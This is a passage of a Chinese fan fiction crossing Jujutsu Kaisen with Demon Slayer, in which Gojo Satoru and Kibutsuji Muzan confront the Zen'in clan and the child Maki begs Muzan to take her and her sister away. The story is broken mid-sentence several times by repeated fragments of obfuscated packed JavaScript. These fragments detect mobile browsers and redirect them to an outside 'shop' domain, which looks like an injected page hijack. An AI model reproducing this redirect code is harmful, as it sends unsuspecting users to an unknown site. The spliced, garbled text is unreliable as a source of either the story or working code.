l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414496|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不高兴,我要拒绝你的请求,无论是合理的还是不合理的。” 鬼舞辻无惨疑惑地问到:“你想听我夸你?” “不行吗?”五条悟摊手。 “那算了。” ?五条悟:什么算了? 人在无语的时候真的会笑,所以五条悟撇着嘴笑了出来。 “我服了你了。” 五条悟叹了口气,把话题停止在这一刻。 “我要回房间睡了。 不要打扰我哦。” 在对方离开后,鬼舞辻无惨仍然靠在墙上,抬头看着天空。 漆黑依旧,繁星如故。 鬼舞辻无惨静静地看着,时间缓缓流逝。 漫长的生命,无所谓的态度,所带来的是一成不变的未来,一眼能望得到的,只有无穷无尽的漆黑。 因为生命没有尽头,所以,这漆黑也没有尽头。 那星星呢? 鬼舞辻无惨询问自己,漆黑的未来之中,是否会有繁星出现? 是什么? 是谁? 在曾经,在死亡到临之时,他不是也透过“鬼舞辻无惨”的视角,看见了极为耀眼的光亮吗? 哪怕那光亮所带来的是彻骨的疼痛,是死亡,是一切的湮灭。 不,不对。 有什么东西并不会湮灭。 按鬼杀队那群人的说法,这是人类的意志。 鬼舞辻无惨轻笑一声,他向来是个行动力极强的人,想到什么就一定要去做。 只是,五条悟,你可千万别让我失望啊。 鬼舞辻无惨一把拉开五条悟的房门。 基本上倒头就睡的五条悟:艹,什么毛病? “喂。五条悟。” 五条悟猛地做起,“干嘛!” “听我说,五条悟。” “你相当不错。” 鬼舞辻无惨的声音轻飘飘的,但在其中又包含着某种重量。在冷冷的月光的照耀下,连发丝都沾染上了清冷的月光,那双血红色的眸子在夜色之中亮的出奇。 “想做什么就去做吧,我会一直看着你的。” 最后,是祝福,也是警告。 “千万别让我失望啊。” 29.第 29 章 昨天夜里,鬼舞辻无惨短短三句话,成功给五条悟干失眠了。 五条悟:不是,他有病啊?什么意思? 鬼舞辻无惨说完这番话就消失了,徒留五条悟一人搁床上思考人生。 思考无果,一宿没睡。 要不是有反转术式,今早五条悟就得顶着个熊猫眼。 “诶,你说他是犯什么病呢?” “这几句话啥意思呢?一直看着我,怎么跟男鬼一样。 哦不对,他好像就是鬼。” “还有啊,老子哪里是不错了,明明是超级棒!” 但是,你别说,你还真别说。 “这个家伙也会这么真心实意地夸人。 这感觉真好。” 五条悟眼看天将放亮,大手一挥,决定不睡了,起来找事。 给禅院家找事。 但是他俩要不说心有灵犀呢,还是鬼舞辻无惨昨天听到五条悟要来禅院家找事。 在五条悟大跨步向禅院家走去的时候,老远就瞅见了杵在门口的鬼舞辻无惨。 他的步伐“唰”一下就停了下来。 “早上好,五条悟。” 下一秒,对方的身形逼近。 五条悟:扭头。 鬼舞辻无惨:? 此时,五条悟:不是,我在尴尬什么。 老子当然配得上他的夸奖。 这么一想,五条悟猛地回望过去。 鬼舞辻无惨:不懂,但尊重。 于是他向五条悟露出一个笑,以表示自己很期待今日的同行。 然后五条悟,他,脸,红,了。 五条悟眨了眨眼睛,显然觉察到了自己的窘态。 五条悟颇有些无奈地揉揉自己的脑袋。 别想了嗷,这家伙是个人面兽心…… 等等,其实也不是很人面兽心。 完蛋,脸更红了。 “昨晚,我的话对你造成困扰了吗?” 鬼舞辻无惨给了个台阶,五条悟麻溜顺坡就下了。 “对对对,你说的那什么玩意。” 五条悟咳嗽两声,试图给自己挽尊,“简直就是莫名其妙嘛!” “我很抱歉。” 鬼舞辻无惨像是变了个性子,也不出言嘲讽了,只是慢悠悠解释自己的话。 “我的意思仅是,我还是很欣赏你的。” 五条悟一把伸出手,扶上对方的肩膀,墨镜把眼睛遮的严严实实的。 黑色的遮掩之下,那双湛蓝色的眸子极为澄澈透亮,还带着点难为情。 这家伙是在正经夸人吗?我怎么感觉奇奇怪怪的…… 五条悟正了正神色,把话题转移到眼前的禅院家。 “所以……你是在等我吗?” “嗯。”鬼舞辻无惨接受良好,面色平静,“昨日你说会来一趟禅院家,我便提前到了这里。” 五条悟眉头一皱,问到:“你有我的联系方式吧?怎么不联系我,万一我没来嘞?” 鬼舞辻无惨背靠大树,表情平静。 “我的时间向来充裕,不介意在没必要的事情上浪费一些。” “更何况……” “等等。”五条悟出声打断了他。 没别的意思,只是想到自己是一宿没睡天刚亮就来了禅院家,看他的样子估计已经到了有一会儿了,这么说来…… “你昨晚离开后干什么了?不会一宿没睡吧?” “昨晚在经过禅院家的时候,发现了一个熟悉的人。” 现在天色还早,时间也多,五条悟没啥顾忌地在草坪上盘腿坐了下来,右手撑着下巴。 “谁?我认识吗?” “伏黑甚尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14437986|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。也就是那天被我救下的人。” 鬼舞辻无惨低下头去看他,两人的眼神对上。 下一秒,五条悟移开了视线。 鬼舞辻无惨:? “咳,说起那个家伙……”五条悟咳嗽了两声以掩尴尬,“他应该是禅院家的人吧?” “是。”鬼舞辻无惨没再看他,“他的孩子继承了禅院家的祖传术式,昨夜来此,也是为了这个。” 五条悟的手指摸摸下巴,像是想到了什么。 “他和禅院家不和?” 鬼舞辻无惨打了个哈欠,半合着眸子回答到。 “因为无咒力而被家族欺压至此,成年后脱离禅院家,最后却和一个凡人女子生下了继承祖传术式的孩子,又被动的和禅院家绑定在了一起。 我以为你已经调查过他了。” 五条悟摆摆手,“在我打败他之后,我俩就没关系了。” 因果了结后,自然不必再与不必要之人过多纠缠。 现在,五条悟更关心昨天晚上发生了什么个事儿。 “禅院家不可能放任他们的祖传术式流落在外,特别是在我们昨夜同加茂家产生冲突之后,伏黑甚尔与禅院家又再次进行了谈判。” 五条悟:“有关怎么处理自己孩子和禅院家的关系?” 鬼舞辻无惨:“是的。” 五条悟稍稍思考了下,试探性地讲到:“话说,如果他有了这种程度的自愈能力,又有极致的身体强度……这家伙都快能单刷禅院家了吧?” 鬼舞辻无惨很可疑地问了句:“……禅院家,这么弱吗?” 五条悟:“确实很弱嘛。” 两人对视一眼。 五条悟低下头,感觉那种隔阂和尴尬弱了许多。 所以他轻笑一声,眨了眨眼,状态放松下来。 “确实的吧。” 30.第 30 章 此时此刻,禅院家。 清晨,真希和真依姐妹早早就起床,踏着林间点点的金光,扫去落叶,让木质的地板露出沉沉的棕色。 对于几岁大的小女孩来说,巨大的扫帚显然是个负担。 禅院真依揉了揉手腕,苦苦地对姐姐说着。 “姐姐,今天要把整个院子都扫干净吗……” 禅院真依一直木着张脸,直到抬头面对真依的时候,才对她露出一个笑容。 “当然啊,这群老东西真是会压榨人……” 禅院真希撇着嘴骂了两句,声音温和。 “你累了吗?累的话休息一会儿。” “但姐姐也很累吧?” 禅院真依眨了眨眼睛,捏紧了手。 禅院真希抡起扫帚转了一圈,顺便把周遭散落的垃圾聚在一起。 “不会,姐姐虽然没有多少咒力,但身体一顶一的好,不用担心我。” 禅院真依在原地坐了一会,就拿着大袋子,帮着把垃圾装起来。 ………… 真依为姐姐递过去一杯水,一张手帕,随后在真希的身边一起坐了下来。 “这么一看……”真希右手撑着下巴,左手凑上去摸了摸真依的脑袋,“下午之前就能收拾干净。姐姐还可以带你出去玩两个小时。” “真的吗!” 禅院真依盯着姐姐,扑上去一把抱住她。 “好耶!” ………… “啧啧啧,两个小东西。” 禅院直哉轻佻的声音传来,脚步踏在沙沙的草地上。 一听到禅院直哉的声音,真希条件反射地回望过去,眼神警惕。 真依原地起身,拉住真希的手,对着禅院直哉行礼。 “见过少主。” 禅院直哉点点头,对真希一见面就怒目而视的模样感觉十分无趣。 “话说真希,别整天板着张脸,要不然等时间到了,我可不会对你们有兴趣。” 禅院直哉慢悠悠地靠近,“到时候,你们两个没天赋的女人,也就只能扫扫地,干干这些下人才做的活了。” 禅院真希暗戳戳给他翻了个白眼,夹着声音问到。 “那么,少主今日前来,是为了何事呢?” 边说着边用力捏了捏手中的扫帚,上牙抵着下牙,把木质的扫帚当成对方的脑壳。 禅院直哉并不觉得这两姐妹有胆子反驳自己,招了招手,示意她俩跟上。 “好好跟着,那么多话干什么?” 禅院真依跟着姐姐一起,拉长着一张脸。仗着直哉慢悠悠在前面走,看不见她俩,两姐妹交换着眼神,顺带着在心底吐槽了两句。 有关几天前,跟着禅院直哉一同,前去寻找祖传术式的族人都死了,其中甚至包括家主的弟弟,禅院扇,只剩一个禅院直哉保住了一条命。 为了解决这一重大事件,并给族人以宽慰,所以家主才召开了此处大会,真希真依两姐妹作为禅院扇的后代,也因此被喊来。 在会场找了个角落,两姐妹相互挨着坐下,随即就是低着头听家主和长老发表一些老掉牙的言论。反正她们无论是按年纪,还是按咒力天赋,都天然没有资格发言,唯一到场的理由,也只是她们是禅院扇的女儿罢了。 哪怕她们的生父事实上视她们为累赘。 此时此刻,禅院家外。 五条悟“呸”一声,吐出口中的草根,眼睛眨巴眨巴,转头看向仍旧靠在树干上的鬼舞辻无惨。 “所以?你还没说完呢,你和伏黑甚尔做了什么交易?” 鬼舞辻无惨:“和我同你做的交易是一个性质的。” 五条悟的语气中带着点好奇,只是眼睛仍旧被墨镜遮的严严实实的。 毕竟俗话说得好,只要你带着墨镜,别人就不知道你在看哪里。 五条悟的视线落到鬼舞辻无惨脸上。 “也是交换血液?天与咒缚的血液中不含咒力,这对你也有用吗?” “更多的是研究上的用途。” 鬼舞辻无惨慢悠悠地讲述到:“通过研究普通人,零咒力天与咒缚和咒术师,加上我的血液混合了咒术师血液之后的变化,以此来探究这个世界的力量运行逻辑。” 五条悟听的一愣一愣的,半晌,挑了挑眉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449546|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏锐的思绪直指问题的中心。 “所以?”五条悟脸上露出一个超级纠结的表情,像是不可思议但又不敢置信,“这个世界是什么意思?” “以你的武力值,不可能是现在才知道咒术的存在的吧?” 鬼舞辻无惨低下头,血红色的眸子颇感愉悦地眯起。 “你不是已经猜到了?” 五条悟扯着嘴,唇瓣几乎抿成一条线。 “疑似那个穿越小说看多了哈。” 鬼舞辻无惨笑而不语。 五条悟盯了他十几秒,确定对方面上的表情没有丝毫转变,于是十分乐观地接受了这家伙有可能是从另一个世界穿越过来的这件事。 “不是哥们。” 五条悟一下子蹦起来,靠近对方。 “你在逗我?” 鬼舞辻无惨面上有些无语,但还是回答了他。 “我从不干这种无聊的事。” “所以真的有平行世界?” 五条悟的墨镜哗啦一下就滑了下来,瞳孔微微放大,超级兴奋地盯着对方看。 “我不太清楚。”鬼舞辻无惨并不确定,“毕竟我活了千年,也没有听闻过,我所在的世界由咒术师这件事。” 你知道的,五条悟抓重点的能力是有一手的。 “千年???” 此时,五条悟的内心: 我去!什么东西,字面意思吗?就真的活了千年?几千年?都能出好几个六眼了吧?诶不过,他说过自己生命是无限的来着,如果咱这个世界真的有永生,那群老东西怎么可能还搁那争论不休的,这不得直接疯了?所以这算什么,活了千年的老妖怪吗?难怪看他整天木木的,除了骂人和喝血也没啥兴趣爱好。不过他说自己会做实验,还挺与时俱进的这老东西。 就是怎么不把自己这多少有点大病的观念给改一下。 五条悟咳嗽了两声,正了正神色。 “你真没骗我?” 鬼舞辻无惨十分不爽地瞥了他一眼。 “你很烦啊。” 五条悟摆摆手。 “我这不是跟你确认一下嘛。” 31.第 31 章 站在门外聊了半天,两人也没把平行世界的事情搞清楚。 “也不排除这种可能嘛,毕竟你穿越之前,按公历来算,也就二十世纪初的那段时间,对吧?” 鬼舞辻无惨对此表示不满。 “你的意思是,我在里世界收集了近一千年的情报,但是连世界上是否存在咒术师都不知道?” 鬼舞辻无惨扭头,十分危险地看着五条悟。 五条悟:害怕JPG. “好吧。”五条悟没再去纠结这种事情,“此事就告一段落,再谈下去就不礼貌了。” 两人对视一眼,最后由五条悟败下阵来,选择去踹禅院家的门。 这次上门拆家的体验一般,因为禅院家的仆从对二人不说是警惕无礼,那也是毕恭毕敬的,对待五条悟就跟对待五条家来访一样谨慎,搞得五条悟都不好意思安心搞破坏了。 “都好都好,你们家主搁哪呢?” 五条悟双手插兜,大摇大摆地从大门进去,跟着禅院家仆从的指引,前往主会客室。 “诶。”五条悟戳了戳鬼舞辻无惨,“你说这家人私底下在搞什么飞机?” “你手上的情报应该比我丰富才对。”鬼舞辻无惨稍稍用右手遮住太阳,感受指尖的温度,“可能是已经收到加茂家的情报,也有可能禅院家的家主还算明事理,你觉得是哪一种情况。” 五条悟露出了个嫌弃的表情。 “我更愿意相信前者。” 到了主厅,五条悟照例一脚踹开门,目光十分迅速地找到坐在主座上的禅院家家主。 “哟,老头子,还没死呢?” 禅院直毘人面对他的挑衅,非但没有生气,反倒是对着五条悟放声大笑。 “五条少主可还是一如既往,性格独特啊。” 对此五条悟收着下巴,把下半张脸扯成一个平面,丝毫不掩饰面上的嫌恶。 “不是,夸的很好,就是下次别夸了哈。” 禅院直毘人抬手,指向一处家主之下的座位。 “两位上座。” 目前,禅院家正在进行家族大会。禅院直毘人给五条悟指的,是离家主最近的一处座位,如果是接待来宾,那这个档次的座位完全够格了。 不过可惜,这个来宾是五条悟。 “呀,老头。”五条悟故作惊讶地说,“生分了哈,按我俩的关系,不如你的位置,也给我坐俩小时呗?” 鬼舞辻无惨轻笑一声,并不准备接他的话茬。 禅院直毘人仍旧没有生气,只是摸了摸他的下巴,面露难色。 “五条少主,这可不符合你的个性啊。”禅院直毘人没有直接拒绝,而是转了个弯,把问题又抛了回去,“那我这积压数天的事务,与族内大小事项的安排,你乐意帮我这个老头子解决干净吗?” 五条悟微笑,婉拒,并且张口就是数落禅院家的运行制度。 “不是,你都成家主了,怎么还管那么多事呢?” 禅院直毘人摸了摸下巴,摇了摇头。 “正是因为我是家主,所以才必须管理好我的家族啊。家族的最高领导若是没有眼光与执行力,只顾自己,那老夫也不算是个称职的家主。” 五条悟在心里暗骂一声。 狗东西,示好的同时,又拐弯抹角地暗示自己才是那个没有执行力,只顾自己的家伙,未来五条家要是交到自己手上,自己也算不上称职的家主。 老子烦就是烦这一点,说点话都要暗里藏刀的。 “哈?老头,拉踩盟友,是禅院家一贯以来的传统吗?” 五条悟并不准备给对方好脸色。 “怎么会呢。”禅院直毘人坐直了身子,目光直直对上五条悟的视线,“禅院家向来只尊重强者,只推崇强者。” 说着又转移视线,看向鬼舞辻无惨。 本来,他是打算利用禅院直哉和鬼舞辻无惨这一层关系的,毕竟无论是从鬼舞辻无惨手上活了下来,还是昨日的御三家集会上,鬼舞辻无惨同直哉的谈话,都透露出,至少鬼舞辻无惨对禅院家是没有敌意的。 至于五条悟,这家伙天然地讨厌御三家本身,能让他安分一点就已经不错了。 但是往边上一看,入眼就是禅院直哉对着鬼舞辻无惨念念叨叨的画面。禅院直哉自从那次死里逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457507|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生后,对这家伙半是崇拜半是敬畏,要让他为禅院家争得利益,怕是难为他了。 禅院直毘人颇有些忧伤。 禅院家这次死了不少一级咒术师,少主虽然实力还可以,但心性简直了,那些资历高些的族人,见他此次的决策致使禅院家实力大损,第一时间想的不是做补救措施,稳固住禅院家的地位,而是争相向长老会弹劾自己,试图将自己从族长的位置拉下来。 嗯…… 这么看来,致使自己到如此腹背受难境地的罪魁祸首,反倒是能拉自己一把的最大依仗了。 毕竟,自己决策失误,怪不了别人。而实力强大,确实能无视很多东西。 “哈?”五条悟当即提出反驳,“如果实力是唯一标杆,那有个连我都觉得很强的天与咒缚,怎么就脱离了禅院家呢?老头儿,你们的观念也要更新了啊。” 禅院直毘人早有预料,或者说,昨日和伏黑甚尔的谈判,就是为了应对此等场面。 “五条少主批评的是,所以我在昨日,就向那位族人发出邀请,邀请他回归禅院家。” 五条悟眉毛一挑,对此很感兴趣。 “他怎么说?” “甚尔说,他需要这位先生的同意。” 禅院直毘人把目光落到鬼舞辻无惨身上。 “他?” 五条悟疑惑。 鬼舞辻无惨:无语。 这家伙还真是能扯关系,自己哪里限制他行动了。 禅院直哉坐在鬼舞辻无惨身旁,一听见天与咒缚的名次,眼睛都亮了起来。 “是甚尔哥吗?他要回来了?” 禅院直毘人乐于见到这种场面。 “毕竟,禅院家的祖传术式是甚尔的孩子,我作为家主,还是希望他能回来的。只是,既然无惨阁下也对此感兴趣,老夫想问问你的意见。” 听闻昨夜,加茂家的祖传术式也被两人带走了。那么这位应该不会对此毫不在意,但倘若鬼舞辻无惨接下了这个名头,就被迫和禅院家扯上关系。 五条悟挪到鬼舞辻无惨边上,兴致勃勃地看着他。 “喂,你怎么看?” 32.第 32 章 伏黑甚尔贯会浑水摸鱼,曾经的他,就是打着让鬼舞辻无惨和禅院家打起来的念头,只不过是计谋未成而中道崩殂,禅院家派来的人被虐干净了,还引起了后来的诸多事宜。 对于伏黑甚尔这个人,鬼舞辻无惨并不觉得他和自己是一路人,最多最多,伏黑甚尔身上有他的血,仅此而已。 Emmm…… 倘若再多一个,那就只有伏黑惠。 “我怎么看?”鬼舞辻无惨瞥了五条悟一眼,“我不想看。” “直截了当地说吧。” 鬼舞辻无惨将视线转向禅院直毘人,面色冷淡。 “我不准备为你们之间的争斗负责,无论如何。” 禅院直毘人眯起了眼,眼神下移。 “诶!等一下。” 两人还在对峙,气氛几乎凝滞,但很可惜,五条悟在现场,所以他十分没有眼见地打断了两人的谈话,一把拉着鬼舞辻无惨的手,把人拉向自己这边。 “你个老头先别插嘴,我俩有点事情要讲。” 下一秒,骨刺凝成一团,“砰”一下砸到了五条悟头上、 用拳头打不到是这样的,骨刺代劳。 “你干嘛 ! ! ! ” 鬼舞辻无惨慢悠悠收回骨刺,将视线收回。 “别随意动手动脚。” 五条悟:? “你碰不得吗?”五条悟脑袋凑近,面上十分甚至有九分的无语,“那你以后别找我要血。” 鬼舞辻无惨没有回答,这种一看就是笨蛋问出来找茬的东西,懒得理。 “什么事,直接说。” “你不觉得吗?我们还差禅院家,就集齐了御三家的祖传术式了诶!” 有的时候,鬼舞辻无惨真的很难理解五条悟的思维方式。 “所以?有什么问题。” 五条悟双手合掌,面带兴奋,并且暗戳戳怼了一下鬼舞辻无惨的胳膊,示意他一点都不理解少年人的兴趣。 “你不觉得这很酷吗?不愧是千年的老妖怪,一点活力都没有。” 鬼舞辻无惨:无语。 “集结三大家族的精英,培养下一代优秀人才,推翻腐朽落后的封建制度,为咒术界带来光明的未来!” ………… 鬼舞辻无惨:人在无语的时候真的会笑。 鬼舞辻无惨叹了口气,大发慈悲似的地看向五条悟的脸。 下一秒,没忍住,捂着眼睛轻笑起来。 五条悟:我怀疑你在内涵我。 “啧。”五条悟指责地看着他,伸手掐住他的脸颊,前后摇了摇,“不要笑哇——” “这票干不干?” 鬼舞辻无惨没生气,就是觉得自己的思维扣不上年轻人的思绪了。 “我随一票。” “那成。”五条悟一掌拍在鬼舞辻无惨的肩上,笑容灿烂,“剩下的我来交涉。” 两人明目张胆,大声密谋了半天。 还坐在他们身后的,禅院家的家主禅院直毘人:………… 还坐在四周的,腐朽落后的禅院家的族人:……………… 禅院直毘人摸着下巴,感叹不愧是年轻人,不愧是五条悟。 “诶,老头。” “您讲。” 五条悟大摇大摆地走到对方面前。 “既然那家伙不想回禅院家,那就别逼着人回来了。 你家的祖传术式,老子来教。剩下的,找五条家的人立合同,要支持要财力要咒具,自己去商量,反正我不管。” 那么至此,禅院直毘人已然确认,五条悟及其背后所代表的五条家,不仅不会在这时候落井下石,反而可以成为同禅院直毘人的助力。 代价呢,就是他禅院家的孩子,或许会成为推翻禅院家的关键点。 不过,这样也不错,有能力就去做。 禅院直毘人对着五条悟点点头,衷心对即将来临的大变局感到有趣。 此时此刻,会场的角落。 禅院真希握着妹妹的手,直勾勾盯着站在中央的鬼舞辻无惨。 是这个人,杀了禅院扇吗? 虽然自己讨厌父亲,但以他的实力,不会如此轻易地被杀死。 在方才的会议上,大人们在吵怎么处理禅院家的死亡人口,如何对待杀死他们的鬼舞辻无惨。 商讨无果的原因,只有一个。 那就是对方足够强。 因为够强,所以哪怕和禅院家有仇,也敢前往禅院家的大本营。 因为足够强,所以哪怕是家主大人,也要和对方做交易,得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464239|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方的支持。 她和妹妹在禅院家的地位如此之低,不受重视,饱受欺压,不就是因为她们二人的咒术天赋一塌糊涂吗? 只要我足够强,我也能否定禅院家的规则,能只靠自己就带着妹妹过上好生活。 不必倚仗他人,不必身不由己。 思考至此,禅院真希的呼吸重了几分。 禅院真希清楚地知道,今日一过,她或许就再没机会,遇见这等的强者。 而且,听他们二人方才说,要培养人才,推翻咒术制度…… 我也可以。 我一定可以。 哪怕我咒力微弱,但我不应止步于此。 “姐姐……” 禅院真希被妹妹的轻呼唤回了思绪,低下头一看,才发现,禅院真依的手腕上被她捏出来一圈红色。 禅院真希连忙松开手,对着这圈红痕轻呼气。 “真依对不起!疼不疼?都是姐姐不好。” 禅院真依没有说疼,反而是摸了摸姐姐的脑袋,眼睛直直地看着她。 “姐姐刚刚在想什么?” 禅院真希垂下眼眸,深呼吸几下。 “真依,你愿意,跟着姐姐,离开禅院家吗?” 禅院真依眨巴眨巴眼睛,不明白姐姐为什么会问出这种问题。 “当然会,为什么不。 我们要一直在一起。” 禅院真希轻声笑了起来,余光瞥到鬼舞辻无惨两人似乎有离开的迹象,狠了心,小跑几步上前,稚嫩的童声大喊对方的名字。 “无惨大人!” 因为跑的步伐太大,禅院真希的步子一个踉跄,但很快就站稳了,跑到鬼舞辻无惨面前跪下。 “请您带我和妹妹离开禅院家!” 鬼舞辻无惨:这小孩是从哪里跑出来的? 熟悉的景象,五条悟表示,这场景自己似乎昨天刚刚看过。 “怎么回事,你好像很讨小孩子喜欢?” “睁一睁你的眼睛,别整天戴着墨镜。”鬼舞辻无惨轻哼一声,“显然是有求而来,我对此并不觉得荣幸。” “五条,你怎么看?” “问我?这我得凑近了看。” 五条悟两眼放光,凑近两步,湛蓝的眸子从墨镜后显露出来。 33.第 33 章 “再怎么说,我也比你看着要和善吧?你难道是那种特别喜欢小孩子的类型吗?” “你还在纠结这个问题?”鬼舞辻无惨白了他一眼,对此感到无语。 “不是。”五条悟干脆利落地反驳,并用六眼将禅院真希上上下下扫视了一遍。 跪在他面前放禅院真希:谢谢,完全不敢动。 “嗯?”五条悟发出一声疑问,“你身上的咒力波动有些奇怪。” “等等……” 五条悟嘴角一抽,似乎明白了什么。 “大人,我是用咒力换取身体素质提升的天与咒缚。” 禅院真希低着头,扎起的长发散落在肩膀上。 “……你也是天与咒缚?” 禅院真希听见他的声音有些不太对劲,微微抬头,却见对方面上的五官都快拧在一起,墨镜被脸上的褶皱堆叠得翘起,眼睛眯成一条缝。 五条悟:有病吧!身体素质方面的天与咒缚是大白菜吗?走了一个又来一个。 鬼舞辻无惨带着调侃似的笑容,走到他身边。 “怎么,你有心理阴影?” “怎么可能!” 五条悟急忙嚷嚷到,随后声音便低了下来。 “就,最多最多,会觉得,有那么一点点糟糕而已,真的就只有一点点!” 五条悟极力强调,转头一看,鬼舞辻无惨的笑容半点没变。 “哦。所以你就是有心理阴影了,对吗?” 五条悟嗤笑一声,心里先把鬼舞辻无惨骂了一遍,随即理直气壮地追问。 “怎么?不行吗?” 五条悟曲臂肘击鬼舞辻无惨的肋骨,无果后凑上去,试图用自己漂亮的湛蓝色眼睛压制他。 “我可是差点就死掉了诶?有点应激不行吗?很正常的吧!” 鬼舞辻无惨伸手,抵着他的肩膀,把五条悟那张愈发凑近的脸推开一些。 “怎么跟猫儿一样。” 五条悟:? “谁家猫咪能随手干碎特级咒灵啊,你不要转移话题。” 五条悟轻哼一声,将目光转移到禅院真希身上。 “你身上仍有咒力痕迹,并不是彻底的天与咒缚。” 五条悟的目光在真希真依两姐妹之间流转一圈,挑了挑眉。 “是双生子啊,怪不得。天与咒缚的实力未能完全释放,无法完全舍弃咒力,因而身体强化未能达到极致。但又因为咒力微弱,甚至可能连咒灵都看不见。” 又联想到禅院家的畸形氛围,五条悟心下了然。 五条悟摸着下巴,审视的目光给禅院真希看得紧张起来。 “事先说明,我们俩可不是慈善家。 先回答我,你为什么想跟着这家伙走?” 禅院真希直视五条悟的眼睛,声音稚嫩但坚定。 “我要变强! 我要否决禅院家的一切! 我要任何人都不能欺负我、侮辱我!” “很好,很有精神。” 五条悟歪了下头,“诶,无惨,我觉得这姑娘不错哦。” “你呢?” 至今,鬼舞辻无惨没有发表任何看法,幽幽的红眸只是若无其事地在真希的身上扫过一下,随后便归于沉寂。 “你说你想变强?” “是!”禅院真希的声音铿锵有力。 “我想你应该清楚,是双生子限制了你的潜力。 你想变强,很简单。” 鬼舞辻无惨慢慢笑了起来,连向来冷漠的红眸之中都蓄满了笑意,嘴角勾起,显出几分兴味。 “杀了你的妹妹。” 眼见禅院真希要开口,骨刺瞬间扫出,捂住了她的嘴。 骨刺缠得很紧 “同样的,你的妹妹想要变强,只要杀了你便可。 我能感觉到两位血液中的联系。” 鬼舞辻无惨终于,瞳孔发亮,那一抹血色出奇的惊人。 禅院真希的瞳孔微微放大,蓦地明白,哪怕是在禅院家之外,强者从来都不是善人,他们制定规则,并成为规则本身。倘若弱者觉得对方友善而亲切,那么只有一种可能。 便是自己从未进入过对方的视线。 自己不切实际,自不量力,自以为能通过对方逃出禅院家这个火坑,但殊不知,自己已然靠近恶的中心。 禅院真希双手死死扒住骨刺的边缘,细嫩的掌心被骨刺的突起扎出一个个血洞。 但她仍在努力抓着,奋力撕扯着。 下一秒,一道蓝光闪过,骨刺瞬间被截断,五条悟收回手,插进兜里。 “喂喂,不用这么唬人吧?” 两人的视线碰撞在一起。 五条悟撇撇嘴,低声抱怨。 “我果然受不了你这种发疯的样子,别忘了你自己说过的,只有蠢货才会通过欺压弱者来获得优越感。 欺负两个小女孩,嗯?” 鬼舞辻无惨轻哼一声,将骨刺慢悠悠收回。 禅院真希的身子“砰”的一下落在地上,脸颊上和嘴边一片通红,还泛着丝丝血渍。她张着嘴,试图大口呼吸来缓解身体的不适,但一张口,嘴边的伤口就泛着丝丝的疼痛,逼得禅院真希被迫捂着嘴巴咳嗽,身子一抖一抖的。 禅院真依拨开周围的人,跑到姐姐身边,扶着她的肩膀。 “姐姐!好疼……我给你找药……” 禅院真依的声音颤抖起来,眼泪吧嗒吧嗒落下。她快速地深呼吸几下,咬牙切齿,面向鬼舞辻无惨。 稚子虽幼,却已然明善恶而知决意。 “我绝不会杀害姐姐!” 禅院真希疼的说不出话来,只是伸出一只手,用力握住妹妹的手掌。 鬼舞辻无惨就像是那个铁石心肠的恶人,对姐妹情深的局面没有丝毫的动容。 “倘若连这都做不到,你二人就只能终其一生,只停留在半吊子的领域,没有丝毫前进的可能。” 禅院真希的咳嗽声停了下来,比起妹妹,她显然更坚决,也更大胆。 “没有妹妹的陪伴,哪怕成为最强也毫无意义。 无法给妹妹带来更美好的未来,所有的力量都是毫无用处。” 说着说着,禅院真希甚至不顾唇边的疼痛,硬生生撤出一个笑,嘴角被撕裂,泛着血,在原本稚嫩的面孔上凝聚出了一个既坚决又恐怖的笑。 “……你这么期待着我们姐妹相残,不会是因为你自己就是一个没有家人陪伴,只能孤独终老的家伙吧?” 禅院真希说着,自己都忍不住笑起来,嘴边淌出血,连笑声都是一顿一顿的。 “或者,你的家人也视你如累赘?” 鬼舞辻无惨 